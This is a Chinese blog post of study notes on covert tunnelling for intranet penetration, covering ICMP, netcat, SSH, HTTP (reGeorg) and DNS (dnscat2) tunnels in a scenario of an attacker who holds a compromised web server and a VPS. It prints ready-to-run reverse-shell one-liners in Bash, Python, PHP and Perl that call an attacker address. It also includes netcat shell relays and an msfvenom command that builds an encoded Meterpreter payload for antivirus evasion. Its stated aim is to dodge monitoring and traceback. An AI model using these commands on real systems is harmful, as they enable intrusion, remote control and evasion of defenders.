學習內網安全--隱蔽隧道通訊技術

PsgQ發表於2021-05-15

隱蔽通訊隧道基礎知識

經過前面資訊收集的學習,知道了我是誰,我在哪,那麼這章主要是我能去哪?


1.對進出口的流量是否連通的判斷(判斷內網的機器是否連通外網)

2.在非受信任的網路如何實現安全的傳輸

3.使用隱蔽的手段,逃避安全監測措施和溯源追蹤


什麼是隧道:

隧道是繞過防火牆埠遮蔽的一種通訊方式,防火牆兩端的資料包 ,通過防火牆所允許的資料包型別或者埠進行封裝,然後穿過防火牆,與對方進行通訊。當被封裝的資料包到達目的地,進行還原。

image-20210514121321190

比如防火牆只開放了53埠,只允許DNS協議通過,這時可將資料封裝在DNS協議裡面,從內網發出去,在外面再進行解封裝。即可實現隱蔽通訊。


常用的隧道技術:

  • 網路層:IPv6隧道、ICMP隧道、GRE隧道
  • 傳輸層:TCP隧道、UDP隧道、常規的埠轉發。
  • 應用層:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道

內網連通性判斷


判斷內網的連通性是指判斷主機能否上外網等。常見的允許流量流出的埠有80、8080、443、53、110、123等。

1 ICMP協議

  • ping:命令:ping <IP地址>

2 TCP協議

  • netcat:“瑞士軍刀”,簡稱“nc”。通過使用TCP/UDP的網路連線來讀寫資料。使用命令:nc -zv <IP 埠號>

    nc -zv 192.168.1.7 80

3 HTTP協議

  • curl:curl是一個利用URL規則在命令列下工作的綜合檔案傳輸工具。unix自帶,windows需要下載。
  • 使用命令:curl < IP:埠號 >

4 DNS協議

  • nslookup(windows)
  • dig(linux)

5 代理伺服器

有時候企業辦公網利用代理伺服器進行上網,判斷方法:

  • 檢視網路連線
  • 檢視主機名是否有”proxy“的主機
  • 檢視IE的代理

網路層隧道

1 IPv6隧道

2 ICMP隧道

只要可以ping通,就可以嘗試建立ICMP隧道,將資料包封裝在ICMP裡面,

ICMP隧道工具有PingTunnel,icmptunnel,Icmpsh,powershell icmp等

A.icmpsh

安裝步驟:

git clonehttps://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 關閉本地系統icmp的應答

接下來進入目錄執行,輸入./icmpsh_m.py 192.168.1.9 192.168.1.7 注意這裡192.168.1.9代表目標主機的公網IP


在目標主機輸入:

icmpsh.exe -t 192.168.1.9 -d 500 -b 30 -s 128 內網主機輸入,可以連線成功,得到shell。

image-20210513112010816


B.pingtunnel

image-20210513141640556


上面的場景,192.168.1.0/24 代表外網,1.1.1.0/24表示內網,這裡模擬的場景是黑客通過WEB獲得了WEB伺服器的許可權。然後通過內網滲透獲取資料庫伺服器的密碼。 但是發現不能進行訪問,只能ping通。這裡用到ICMP隧道技術。


首先在外網的伺服器VPS,和WEB伺服器 安裝一下icmp隧道工具。


下載地址:freshmeat.sourceforge.net/project/ptunnel

安裝流程:

1.安裝編譯
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

2.缺少pcap.h
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure

3.yacc包錯誤
Sudo apt-get install –y byacc
./configure
make
sudo make install

執行ptunnel

伺服器:
ptunnel -x shuteer

VPS:
ptunnel -p 192.168.1.11 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer

引數說明:
-x 指定 icmp 隧道連線驗證密碼
-lp 指定要監聽的本地 tcp 埠
-da 指定要轉發到的機器的 ip 地址
-dp 指定要轉發到的機器的 tcp 埠
-p 指定icmp隧道另一端機器的 ip 地址


所以這條語句的含義是 Web伺服器 (192.168.1.11) 會把訪問內網資料庫伺服器(1.1.1.10)的3389埠的資料包封裝在ICMP隧道里,傳給外網VPS伺服器的1080埠,在訪問攻擊者的VPS伺服器 192.168.1.9的 1080埠時,會收到相應的資料包。


防禦措施:Wireshark 資料包分析,惡意流量分析。


傳輸層隧道技術


1 lcx埠轉發

1.lcx埠轉發

A.內網埠轉發
目標機器:lcx.exe –slave 公網主機ip 4444 127.0.0.1 3389
VPS:lcx.exe –listen 4444 5555

B.本地埠對映
lcx -tran 53 目標主機ip 3389

2 netcat

下載連結

LINUX:
sudo yum install nc.x86_64
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz

WINDOWS:
Nc:https://joncraton.org/files/nc111nt.zip
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip

引數說明:

-d 後臺模式
-e 程式重定向
-g <閘道器> 設定路由器躍程通訊閘道器,最多可設定8個;
-G <指向器數目> 設定來源路由指向器,其數值為4的倍數;
-h 線上幫助;
-i <延遲秒數> 設定時間間隔,以便傳送資訊及掃描通訊埠;
-l 使用監聽模式,管控傳入的資料;
-n 直接使用IP地址,而不通過域名伺服器;
-o <輸出檔案> 指定檔名稱,把往來傳輸的資料以16進位制字碼傾倒成該檔案儲存;
-p <通訊埠> 設定本地主機使用的通訊埠;
-r 隨機指定本地與遠端主機的通訊埠;
-s <來源位址> 設定本地主機送出資料包的IP地址;
-u 使用UDP傳輸協議;
-v 詳細輸出;
-w <超時秒數> 設定等待連線的時間;
-z 將輸入輸出關掉,只在掃描通訊埠時使用。


Banner資訊抓取

nc –nv 192.168.123.103 21
連線到遠端主機
nc -nvv 192.168.11.135 80
埠掃描
nc -v 192.168.11.138 80
nc -v -z 192.168.11.138 20-1024
埠監聽
Nc -l -p 9999
檔案傳輸
Nc –lp 333 >1.txt
Nc -vn 192.168.1.4 333 < test.txt –q 1


獲取shell

shell連線有兩種:正向shell和反向shell

正向shell,指的是客戶端連線伺服器,客戶端想獲取伺服器的shell,稱為正向shell。即控制方主動發起連線去連線被控制方。

反向shell,指的是客戶端連線伺服器,伺服器想獲取客戶端的shell,稱為反向shell。即被控制方主動去連線控制方。

一般從外網搞內網用的都是反向shell,而在內網裡面用的是正向shell。


1.正向 shell

目標主機監聽:
Nc -lvp 4444 -e /bin/sh //linux
Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows

本地主機:
Nc 192.168.1.11 4444

2.反向 shell
本地主機監聽:
Nc -lvp 9999
目標主機:
Nc 192.168.11.144 9999 -e /bin/sh //linux
Nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows


目標主機沒裝netcat,如何反向shell

1.python反向shell

VPS上監聽埠:
Nc -lvp 2222
目標主機上執行:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.Bash反向shell

VPS上監聽埠:
Nc -lvp 4444
目標主機上執行:
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1

3.PHP反向shell

VPS上監聽埠:
Nc -lvp 2222
目標主機上執行:
php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

4.Perl反向shell

VPS上監聽埠:
Nc -lvp 4444
目標主機上執行:
perl -e ‘use Socket;\(i=”192.168.1.4″;\)p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’


內網代理

外網VPS伺服器,通過內網WEB伺服器,獲取內網資料庫伺服器shell

image-20210513171612881

1.VPS監聽埠
nc -lvp 3333
2.目標伺服器執行
nc -lvp 3333 -e /bin/sh
3.邊界伺服器執行
nc -v 192.168.1.4 3333 -c
“nc -v 1.1.1.200 3333

邊界伺服器相當於做了代理,將目標資料庫伺服器的shell許可權轉移給外網VPS伺服器。


應用層隧道技術--SSH隧道


什麼是SSH?

SSH 埠轉發能夠提供兩大功能:1.加密 SSH Client 端至 SSH Server 端之間的通訊資料。2.突破防火牆的限制完成一些之前無法建立的 TCP 連線。

常規操作

ssh root@192.168.1.1 –P 22

密碼登入過程

1.遠端主機收到使用者的登入請求,把自己的公鑰發給使用者
2.使用者使用該公鑰,將登入密碼加密後,傳送給遠端主機。
3.遠端主機用自己的私鑰,解密登入密碼,如果密碼正確,就使用者登入。


本地埠轉發

image-20210514105754271

原理:

VPS 攻擊伺服器,不能直接訪問內網裝置的資料庫伺服器,但是可以訪問WEB伺服器,所以可以通過WEB伺服器作為跳板,通過WEB伺服器訪問資料庫伺服器,然後再將資料傳出來。

配置:

Vi /etc/ssh/sshd_config SSH配置檔案
AllowTcpForwarding yes 是否允許轉發TCP協議GatewayPorts yes 是否允許遠端主機連線本地轉發埠
PermitRootLogin yes 是否允許root登入
PasswordAuthentication yes 是否允許使用基於密碼的認證
TCPKeepAlive yes 保持心跳,防止 ssh 斷開

service ssh restart /etc/init.d/ssh restart


利用:

在VPS伺服器執行以下命令:

格式: ssh –L 本地埠:目標主機:目標埠 jump主機

示例:$ ssh -L 2121:1.1.10:21 root@192.168.1.11
ssh –CfNg –L 2121:1.1.1.10:3389 root@192.168.1.11 連線後需要輸入WEB伺服器的密碼

netstat -tulnp | grep "2121" 檢視本地埠是否連線

rdesktop 127.0.0.1:2121 訪問本地系統的2121埠

常見建立ssh隧道所用到引數說明:
-C 壓縮傳輸,加快傳輸速度
-f 將SSH轉入後臺執行,不佔用當前的shell
-N 建立靜默連線(建立了連線,但是看不到具體會話)
-g 允許遠端主機連線到本地用於轉發的埠
-L 本地埠轉發
-R 遠端埠轉發
-D 動態轉發(socks代理)
-P 指定SSH埠

藉助WEB伺服器做跳板,下面是原理圖:

圖片1


msfvenom實戰:

msfvenom是淨荷生成和編碼的組合,取代了 msfpayload 和 msfencode ,編碼是為了免殺

msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=192.168.1. 1 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe

msfvenom 常規選項用途:-l 列出所有可用的載荷列表(payload), -l payloads
-p 選擇一個payload,也可以使用自定義payload, 支援全平臺
-f 生成檔案格式, --help-formats,可檢視支援的所有輸出格式
-e 編碼方式,-l encoders,可檢視支援可使用編碼器
-i 編碼的次數
-a 系統架構,預設X86,指定目標平臺:--platform xxx,--list platform
-b 在生成的Payload中避免出現的值,新增這個引數,msfvenom 將會自動尋找合適的編碼器來編碼 Payload
-x 允許我們指定一個自定義的可執行檔案作為模板,也就是將木馬捆綁到這個可執行檔案上
-k 當模板被執行時,payload自動分離並注入到新的程式中,一般和-x選項一併使用
-o 指定建立好的payload的存放位置
-h 幫助

image-20210514153555824

在VPS主機上:

1.設定一個反向Payload,VPS做好監聽
msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=1.1.1.155 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe

生成rever.exe 程式,然後可以複製到需要反彈的內網主機上

2.執行MSF

set payload windows/meterpreter/reverse_tcp_rc4_dns

set lport 53

set lhost=1.1.1.155

set rc4password shuteer

set exitonsession false

show options

exploit -j


邊界伺服器上開啟埠轉發,見上面的配置


在目標主機

ssh –L 本地埠:目標主機:目標埠 jump
ssh -CfNgL 53:192.168.1.10:53 root@1.1.1.116 -p 22


然後將生成的rever.exe 程式,複製到想要連線的內網主機上執行。(可以是DC,也可以是其他主機)


在VPS主機執行

sessions 檢視連線

sessions -i 1 進入主機,可以執行shell命令

image-20210514163654409


遠端埠轉發

相比較於本地埠轉發,跳轉主機沒有外網IP地址,但是可以訪問外網。因此,VPS伺服器不能訪問它。

所以要用內網的主機,去訪問外網VPS。下面的遠端主機埠,是VPS的埠。


利用:

在web伺服器端執行以下命令:

格式: ssh –R 遠端主機埠:目標主機:目標埠 遠端VPS主機

示例:$ ssh -R 2121:1.1.1.10:3389 root@192.168.1.4


動態轉發

建立一個SSH加密的SOCKS 代理通道,任何支援這個協議的程式都可以使用這個通道進行代理訪問。比如:買一臺海外伺服器,通過這個可以進行訪問。

在VPS 伺服器執行命令:

ssh -D 7000 root@192.168.1.11


應用層隧道技術--HTTP/HTTPS協議

使用工具:reGeorg

下載地址:https://github.com/sensepost/reGeorg


reGeorg工具有PHP,JSP,ASPX等web指令碼,將指令碼檔案上傳到伺服器中,使用kali本地訪問遠端伺服器的tunnel.jsp指令碼檔案,返回後利用reGeorgSocksProxy.py指令碼監聽本地9999埠,即可建立一個通訊鏈路

python reGeorgSocksProxy -u http://[伺服器IP:埠]/tunnel.jsp -p 9999

建立隧道後,在使用ProxyChains之類的工具,訪問目標的資源


應用層隧道技術--DNS隧道


原理:

DNS協議是一種請求/應答協議,可應用於應用層隧道技術。將資料封裝在DNS查詢響應資料包裡面,進行通訊。比較隱蔽,可繞過防火牆的攔截。

使用者管理殭屍網路和進行APT攻擊的伺服器叫做C&C伺服器(Command and Control Server,命令及控制伺服器)。C&C節點分為兩中種,一種是C&C服務端(攻擊者),另一種是C&C客戶端(被控制的計算機)。C&C通訊是指植入C&C客戶端的木馬或者後門程式與C&C服務端上的遠端控制程式之間的通訊。

DNS隧道的工作原理很簡單:在進行DNS查詢時,如果查詢的域名不在DNS伺服器本機的快取中,就會訪問網際網路進行查詢,然後返回結果,如果網際網路上有一臺定製的伺服器,那麼依靠DNS協議就可以進行資料包的交換,從DNS協議的角度來看,這樣的操作只是一次次地查詢某個特定的域名並且得到解析結果,但其本質的問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字串,包括加密的C&C指令。簡單地說,就是將其他協議封裝在DNS協議中進行傳輸。


DNS隧道工具--Dnscat2

dnscat2:它使用DNS協議建立加密的C&C通道,通過預共享金鑰身份驗證。該工具客戶端是由C編寫,服務端是由Ruby編寫的。它有兩種模式:直連模式:客戶端直接向指定的IP地址的DNS伺服器發起解析請求。中繼模式:DNS通過網際網路的迭代查詢,指向指定的DNS伺服器。

在使用該工具的時候需要先部署域名解析,測試部署是否成功。安裝服務端。

啟動服務端:sudo ruby ./dnscat.rb vpn.360bobao.com -e open -c ms08067.com --no-cache -c:指定使用預共享的金鑰進行生成驗證一面中間人攻擊 -e:規定安全級別,open表示服務端允許客戶端不進行加密 --no-cache表示禁止快取,必須要新增該選項

如果是直連模式:sudo ruby ./dnscat.rb --dns server=127.0.0.1,port=53,type=TXT --secret=ms08067.com 表示監聽本地的53埠,自定義連線密碼是ms08067.com

在目標主機上安裝客戶端:測試是否連通於服務端:dnscat.exe --ping vpn.360bobao.com

客戶端連線服務端:dnscat.exe --dns domain=vpn.360bobao.com --secret ms08067.com

如果服務端使用的是直連模式:dnscat --dns server=,port=53,type=TXT, --secret=ms08067.com

當客戶端和服務端連通之後就可以執行命令了

具體詳情請參考內網安全攻防這本書


DNS隧道工具--iodine




總結


下面是關於各種隧道技術的總結與比較:

image-20210514210716144


上面就是內網隧道技術的所有知識,要想了解更多詳情可閱讀《內網安全攻防--滲透測試行動指南》這本書。

相關文章